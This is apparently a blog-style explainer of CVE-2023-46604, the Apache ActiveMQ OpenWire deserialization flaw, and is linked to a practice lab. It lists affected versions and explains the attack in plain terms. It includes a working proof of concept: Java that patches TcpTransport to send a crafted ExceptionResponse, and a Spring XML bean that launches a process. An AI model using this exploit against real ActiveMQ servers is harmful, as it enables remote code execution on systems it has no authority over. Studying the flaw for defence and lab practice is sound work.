CVE Explained: CVE-2023-46604

How the error handling can become doom.

Refer:

Exploit-POC:

Where to practice:

  • HTB: Broker

Noticed by Kunlun Labs This vulnerability empowers a remote attacker, with network access to a broker, to execute arbitrary shell commands. The attack involves manipulating serialized class types in the OpenWire protocol, prompting the broker to instantiate any available class on the classpath. OR This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath.

and the default port for openwire is 61616

Affected products:

  • Activemq < 5.15.16, >= 5.18.0 AND < 5.18.3, >= 5.17.0 AND < 5.17.6, >= 5.16.0 AND < 5.16.7

  • Activemq legacy_openwire_module < 5.15.16, >= 5.18.0 AND < 5.18.3, >= 5.17.0 AND < 5.17.6, >= 5.16.0 AND < 5.16.7

Vulnerability explained

What are we doing:


By crafting specific ExceptionResponse objects and manipulating the server's behavior through custom classes and XML payloads, an attacker can achieve Remote Code Execution. The exploit leverages the server's handling of exceptions, serialization mechanisms, and classpath behaviors to execute unauthorized code and gain control over the target system.


The vulnerability is about the insecure deserialization of XML . Vulnerability arose due to the commit here:

There's this class: Tcptransport class.

According to author:


Its oneway method will call wireFormat.marshal() to serialize the command. The command is the ObjectMessage to be sent earlier, and the wireFormat is the serializer corresponding to it.

Then we only need to manually patch this method, change the command to ExceptionResponse, and change the wireFormat to ExceptionResponseMarshaller. I did not analyze the OpenWire protocol here, but used a trickier method.

Create a new classorg.apache.activemq.transport.tcp.TcpTransport in the current source code directory, and then rewrite the corresponding logic. In this way, when running, due to the problem of classpath search order, the program will give priority to the current source code. TcpTransport class in the directory.

Then there is the use of the createThrowable method. This is actually similar to the use of PostgreSQL JDBC. Because ActiveMQ comes with spring-related dependencies, you can use ClassPathXmlApplicationContext to load XML to implement RCE.


Meaning:

  1. Serialization Process: Imagine you're sending a special message (ObjectMessage) to a server, and before sending it, the message needs to be converted into a format the server can understand. This conversion process is called serialization, and it's like translating a message into a language the server can read.

  2. Making Changes: Instead of sending the usual message, someone wants to send a different type of message called "ExceptionResponse." To do this, they make specific changes in the system that handles these messages. It's like changing the language translator from translating general messages to translating special exception messages.

  3. Creating a New Class: To make these changes work, they create a new set of instructions (a class) called org.apache.activemq.transport.tcp.TcpTransport. Think of this as writing a new recipe to cook a dish differently. By placing this new recipe in a specific folder, the system follows this new set of instructions instead of the old one.

  4. Using Special Methods: There's a specific method named createThrowable that helps in creating this special exception message. It's somewhat similar to using a specific tool or method (like a feature in a software) named PostgreSQL JDBC. By taking advantage of some features that come with the server (ActiveMQ) and its related tools (like Spring), someone can load a special set of instructions (XML file) that allows them to control and manipulate the server, which could have security implications (like executing unintended actions on the server).

public void oneway(Object command) throws IOException {
    this.checkStarted();
    Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
    ExceptionResponse response = new ExceptionResponse(obj);
   this.wireFormat.marshal(response, this.dataOut);
    this.dataOut.flush();
}

Because o.getClass().getName() will be called during marshal to obtain the class name, and the getClass method cannot be overridden (final), so I also patched it hereorg.springframework.context.support.ClassPathXmlApplicationContext, making it inherit the Throwable class.

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

Finally successful RCE

Last updated